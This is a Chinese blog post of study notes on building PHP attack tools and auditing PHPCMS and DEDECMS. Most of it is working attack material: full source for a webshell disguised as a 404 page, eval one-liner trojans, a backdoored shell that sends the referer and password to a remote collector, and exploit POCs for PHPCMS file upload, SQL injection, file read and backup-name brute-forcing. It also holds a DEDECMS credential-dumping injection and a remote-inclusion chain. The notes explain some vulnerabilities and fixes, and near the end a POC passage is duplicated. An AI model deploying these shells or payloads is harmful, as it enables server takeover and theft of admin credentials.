PHP漏洞利用工具开发,PHPcms二次开发,PHPcms,DEDEcms简单代码审计

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP漏洞利用工具开发,PHPcms二次开发,PHPcms,DEDEcms简单代码审计相关的知识,希望对你有一定的参考价值。

php工具开发

PHP小马

  • 简单隐藏
  • 登陆密码
  • 实现写入文件
<?php
$pass = '14e1b600b1fd579f47433b88e8d85291'; #123456

$get = $_GET['pass'];
if (!empty($get)) {
    if (md5(md5($get))) {

        if (!empty($_POST)) {
            $path=$_POST['filepath'];
            $content=$_POST['filecontent'];

            # 文件写入
            $statement=fopen($path,"w");
            # fopen('文件路径','打开模式')

            if(fwrite($statement,$content))
            # fwrite('文件路径','文件内容'),成功返回字符数,失败返回false
            {
                echo '<font color="red">success</font><br/>';
            }else{
                echo '<font color="red">error!</font><br/>';
            }
        }

        echo '服务器ip:    ' . $_SERVER['HTTP_HOST'] . '      ' . gethostbyname($_SERVER['HTTP_HOST']) . '<br/>';
        echo '绝对路径:    ' . $_SERVER['SCRIPT_FILENAME'] . '<br/>';
        echo '当前目录:    ' . __DIR__ . '<br/>';

        echo '<form action="" method="post">';
        echo '文件路径 <br/><input type="text" name="filepath" value="' . $_SERVER['SCRIPT_FILENAME'] . '"><br/>';
        echo '文件内容 <br/><textarea name="filecontent" id="filecontent"></textarea><br/>';
        echo '<input type="submit" value="submit">';
        echo '</form>';
    } else {
        echo 'password is worry';
    }
} else {

    ?>
    <!--第二部分-404报错界面--> 

    <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN\\">

    <head>
        <title>404 Not Found</title>
    </head>
    <body>
    <h1>Not Found</h1>
    <p>The requested URL <?php echo($_SERVER['REQUEST_URI']); ?> was not found on this server.</p>
    </body>

<?php
}
?>
<!-- else 的结束右括号 -->

一句话木马

原理分析

eval:把字符串当作 php 代码执行

<?php @eval($_POST['aa'])?>
?aa=fwrite(fopen('shell.php','w'),'<?php system('ls');?>')

assert:同 eval

抓包分析

使用 WSExploer 抓包工具可以更具软件进程进行网络抓包

原始:

base64解密后

一句话木马变形写法

https://mp.weixin.qq.com/s/YH_LWRNb3T2QapWKlzybAg

正则

file_get_contents() 可以直接访问 url

PHP大马分析

网上的大马大都有后门,大马下载网站存在搜索引擎优化 seo

使用大马应先抓包看有没有后门

案例1:

这个大马回首先下载 404.gif,下载部分未后门一部分

使用 wireshark 抓包后看到后门会将 shell 的信息发送给远程服务器

案例二:

抓包结果

大马代码,这个大马会首先请求远程服务器,下载大马

首先解密 ascii

echo $get 即可,不要总想着看到加密后的就只想逆向解密,直接换成输出,简单高效

$get=file_get_contents()

$unzip=gzinflate

解密大马源码,找到后门,登陆时传输数据到后台

实现大马后门

前端大马 shell.php

<?php
$pass = 'admin';

if (empty($_POST)) {
    echo '<form action="" method="post">';
    echo 'password <input type="text" name="password" >';
    echo '<input type="submit" value="submit">';
    echo '</form>';
} else {
    $password=$_POST['password'];
    echo $password;

    if ($password == $pass) {
        $url = 'http://localhost/demo/audit/dama/box.php';
        $path='?url='.$_SERVER['HTTP_REFERER'].'&password='.$password;
        echo  $path;
        file_get_contents($url.$path);
    }
    else{
        echo 'pass worry';
    }
}

后端箱子 box.php

<?php

if (!empty($_GET)) {
    $url=$_GET['url'];
    $f=fopen('data.txt','w');
    fwrite($f,$url);
    fwrite($f,'\\r\\n');
    fclose($f);
}

data.txt

http://localhost/demo/audit/dama/shell.php\\r\\n

编写大马

大马出现问题的修复

大部分是引用传参的问题导致的

  1. PHP版本问题
    1. 函数过期
    2. 函数用法变化
  2. 系统环境不支持

PHP的cms二次开发

  1. 自主开发
  2. 框架开发
  3. 二次开发

CMS

  • 门户cms

    • dedecms
    • phpcms
    • 帝国cms
  • 论坛

    • discuz(使用较多,腾讯收购)
    • phpwind
  • 博客

    • wordpress
    • typecho

框架

  • Thinkphp
  • Laravel
  • Yii
  • Zendframework

武汉大学国家网络安全学院登陆界面

http://cse.whu.edu.cn/index.php?s=/admin/public/login.html

PHP常见CMS的漏洞分析

phpcms目前已停止更新

PHPstorm调试模式

  1. 开启 phpstrom debug

​ phpstrom 设置成此状态

  1. 浏览器 xdebug 插件设置成 debug 模式

  2. 下断点

  3. 浏览器访问对应页面

phpstorm 快捷键

F7 单步进入(有函数,进入函数)

F8 单步步过(有函数,单步直接得到结果)

F9 直接运行,不调试

切换php版本

  1. 在 phpstudy 中切换 PHP 版本,并开启 xdebug 调试功能,配置对应端口9001

  1. 设置 php.ini 配置文件,添加一行
   xdebug.idekey = PHPSTORM
  1. 在 phpinfo 中检查 xdebug 安装程度(如果没有检测到重装php后重新配置即可)

  1. phpstorm需要添加 interpreters,会自动检测 xdebug

phpstorm里好像不用设置 php 版本也能用玄学

  1. phpstorm 调试窗口

点击小眼睛,watches 窗口就会合并到 variables 窗口

调试时,debug 会自动添加注释,辅助审计

  1. 设置连接时间,不设置的话没多长时间页面就会报 500 错误

设置方法:找到 PHPstudy 配置文件

添加两行

IPCConnectTimeout 3000
IPCCommTimeout 3000

重启服务生效

  1. 在使用 burp 进行抓包时可能会出现抓不到包的情况,需要将 ip 设为本机ip

PHPCMSv9.2上传漏洞

漏洞复现

  1. 用户上传头像处存在文件上传漏洞

  2. 准备一句话木马进行压缩

  3. 首先正常上传图片,再使用 burp 进行抓包将图片内容替换为压缩包内容

  4. 使用蚁剑连接一句话

漏洞原理

上传的文件解压缩后,会经过此函数

但之前上传的文件解压后是一个目录

漏洞修复

zip 文件导致

PHPCMSv9.6.0文件上传

漏洞复现

提前准备好一句话木马放到服务器里

1.txt
<?php eval($_REQUEST['shell']);?>

注册信息处,填写信息后使用 burp 抓包

替换为 poc

siteid=1&modelid=11&username=bb23349&password=123456&email=gyar3113@qq.com&info[content]=<img src=http://127.0.0.1/1.txt?.php#.jpg>&dosubmit=1&protocol=

# 每次需要更改username和email

成功连接 shell

漏洞原理

漏洞地址:index.php?m=member&c=index&a=register&siteid=1

poc 中使 modelid=11,属于逻辑漏洞,是用户错误的拥有了更多的权限

通过构造 payload 绕过检测

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
    ......
	if(!preg_match_all("/(href|src)=([\\"|']?)([^ \\"'>]+\\.($ext))\\\\2/i", $string, $matches)) return $value;
    ......
}

foreach($matches[3] as $matche)
    
# matches[3]=http://127.0.0.1/1.txt?.php
# http://127.0.0.1/1.txt?.php 就等同于 http://127.0.0.1/1.txt就去执行了下载

内容在进行数据库查询时因为修改了 modelid 所以会报错将 木马地址暴露出来

PHPCMSv9.6.0wap端sql注入

漏洞复现

报错注入

  1. 访问 index.php?m=wap&c=index&siteid=1 页面,抓包拿 cookie

gLBhn_siteid=90benCdHQRw1J2jVnHNf_Ezk-DK4ibtxfPqnKWH6

  1. 看图,访问 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

    userid_flash=

gLBhn_att_json=f78d1AYciWOEQYIBnAHD5fg1sWf8_UXWQcOVymfkXHzZ8cpEPp9Bn5DCswgbL3E30MbbffrLa7nu0ym018TwCBcEctXKaYVBtuV2LX93UorNkzjCq68v8oguQqgrXYwxnBF21Kupn_WoyTlDvZmgWCe7xRnl0fWWAj_rLt4_ti5oZp-pGJDqGVI
  1. 访问 /CMS/phpcms_v9.6.0_UTF8/install_package/index.php?m=content&c=down&a_k=f78d1AYciWOEQYIBnAHD5fg1sWf8_UXWQcOVymfkXHzZ8cpEPp9Bn5DCswgbL3E30MbbffrLa7nu0ym018TwCBcEctXKaYVBtuV2LX93UorNkzjCq68v8oguQqgrXYwxnBF21Kupn_WoyTlDvZmgWCe7xRnl0fWWAj_rLt4_ti5oZp-pGJDqGVI ,拿到数据库名

漏洞分析

先从第三个 pyload 开始逆推过程

parse_str() 会自动转码 url

解密后触发 sql 查询语句

漏洞修复

对解密后的语句进行过滤

PHPCMSV9.6.1任意文件读取

漏洞复现

  1. 访问 /index.php?m=wap&c=index&siteid=1,拿到 siteid

  2. post /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3Dindex%26f%3D.p%25253chp

漏洞修复

先去除尖括号,再判断后缀名

PHPcmsv9暴力破解备份数据库名

漏洞复现

phpcms,有备份数据库的功能

在目录中可以直接下载,但是文件名字很复杂

poc:

/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/s<<.sql

漏洞分析

windows 的 FindFirstFile(API)有个特性就是可以把 << 当作通配符来用,而 PHP 的 opendir(win32readdir.c) 就是用了该 API ,PHP 文件操作函数调用了 opendir,所以 file_exists 也有通配符特性

file_exists(3234324.sql) == file_exists(3<<.sql)

	if(file_exists($fontfile)){
	......
     } else {
	......
     }
#!/usr/bin/env python2
# coding=utf-8
'''
author: dysec
'''

import urllib2


def check(url):
    mark = True
    req = urllib2.Request(url)
    req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')
    response = urllib2.urlopen(req)
    content = response.read()
    if 'Cannot' in content:
        mark = False
    return mark


def guest(target):
    arr = []
    num = map(chr, range(48, 58))
    alpha = map(chr, range(97, 123))
    exploit = '%s/api.php?op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'

    while True:
        for char in num:
            if check(exploit % (target, ''.join(arr), char)):
                arr.append(char)
                continue

            if len(arr) < 20:
                for char in alpha:
                    if check(exploit % (target, ''.join(arr), char)):
                        arr.append(char)
                        continue

            elif len(arr) == 20:
                arr.append('_db_')

            elif len(arr) == 29:
                arr.append('_1.sql')
                break

            if len(arr) < 1:
                print '[*]not find!'
                return

            print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))


if __name__ == "__main__":
        url = 'http://127.0.0.1/CMS/phpcms_v9.6.0_UTF8/install_package'
        #test
        guest(url)

未成功

DEDECMS漏洞分析

DEDECMS重装漏洞

漏洞原理

apache 解析漏洞 index.php.bak 会被解析为 php

dedecms 安装成功后回生成 index.php.bak 文件,此文件存在变量覆盖漏洞

$insLockfile = dirname(__FILE__).'/install_lock.txt';
.....
if(file_exists($insLockfile))
{
    exit(" ���������а�װ�������ȷ��Ҫ���°�װ�����ȴ�FTP��ɾ�� install/install_lock.txt��");
}

# ?inslockfile=22

在覆盖安装时,数据库可以连接自己搭建的数据库,完成安装,进入后台找其他漏洞点

DEDECMS远程文件包含

查看dedecms版本 /data/admin/ver.txt

漏洞复现

漏洞点主要还是变量覆盖的问题,原本变量 updateHost 是 dedecms 的远程升级 url,通过变量覆盖下载提前放好的一句话木马文件

poc

http://www.d.com/install/index.php.bak?insLockfile=1

http://www.a.com/dedecms/demodata.a.txt

http://www.d.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

	[×] 远程获取失败

http://www.d.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=1720.php&updateHost=http://www.a.com/

	[] 存在(您可以选择安装进行体验)
即可生成http://www.d.com/install/1720.php    密码 x

DEDECMSdownload文件SQL注入

条件:1. cms 版本<20130425 20120430 2. php关闭mysqli

DEDECMSrecommend文件SQL注入

条件:cms 版本 <20140201 5.7

漏洞复现

POC

/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111

漏洞分析

poc 可以分为几个部分

/plus/recommend.php?
action=
&aid=1
&_FILES[type][tmp_name]=\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\\'`+
&_FILES[type][name]=1.jpg
&_FILES[type][type]=application/octet-stream
&_FILES[type][size]=111

sql 语句解释

1.
mysql> select id from dede_admin;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

2.
mysql> /*select id from dede_admin*/;
ERROR:
No query specified
# /**/在 MySQL 中表示注释符,所以此处不执行

3.
mysql> /*!50000select id from dede_admin*/;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)
# /*!50000*/在表示 MySQL 版本在5.0以上的执行,同理5000可以替换成其他数字

4.
mysql> select CONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:    8
Current database: dedecmsv57gbk

+------------------------------+
| CONCAT(0x7c,userid,0x7c,pwd) |
+------------------------------+
| |admin|f297a57a5a743894a0e4  |
+------------------------------+
1 row in set (0.01 sec)
# 这条语句爆出用户名和密码
# reconmmend.php
require_once(dirname(__FILE__)."/../include/common.inc.php");
1.
if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            $svar = addslashes($svar);
        }
    }
$svar=\\\\\\' or mid=@`\\\\\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\\\\\'` 


2.
 function SetQuery($sql)
    {
        $prefix="#@__";
        $sql = str_replace($prefix,$this->dbPrefix,$sql);
        $this->queryString = $sql;
    }
    
SELECT s.*,t.* FROM `dede_member_stow` AS s LEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' AND s.type='\\\\' or mid=@`\\\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`\\\\'` '
    
    
3.  
// recommend.php    
$arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");
GetOne 进入下面文件
// dedesqli.class.php
//如果是普通查询语句,直接过滤一些特殊语法
        if($querytype=='select')
        {
            $notallow1 = "[^0-9a-z@\\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\\.-]{1,}";

            //$notallow2 = "--|/\\*";
            if(preg_match("/".$notallow1."/", $db_string))
            {
                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\\r\\n");
                exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
            }
        }
通过判断关键是否存在特殊字符进行过滤,使用 /*!50000*/ 绕过
    
           //完整的SQL检查
        while (TRUE)
        {
            $pos = strpos($db_string, '\\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\\'', $pos + 1);
                $pos2 = strpos($db_string, '\\\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
	......

改进版本的poc

/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `%23@__admin` limit 0,1),5,6,7,8,9%23&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111

/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23
        {
                $pos = $pos1;
                break;
            }
            $pos = $pos2 + 1;
        }
        $clean .= '$s$';
        $old_pos = $pos + 1;
    }
......

改进版本的poc

```url
/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `%23@__admin` limit 0,1),5,6,7,8,9%23&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111

/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23

以上是关于PHP漏洞利用工具开发,PHPcms二次开发,PHPcms,DEDEcms简单代码审计的主要内容,如果未能解决你的问题,请参考以下文章

php二次开发 如何使用phpcms模板?

PHPCMS 使用图示和PHPCMS二次开发教程(转)

[PHPCMS V9二次开发]自定义字段模型-添加字段类型

关于phpcms,DeDecms和PHP168cms

PHPcms9.6.0任意文件上传漏洞直接getshell 利用教程

企业仿站 个人仿站 定制网站制作 phpcms插件开发 网站二次开发 phpcms二次开发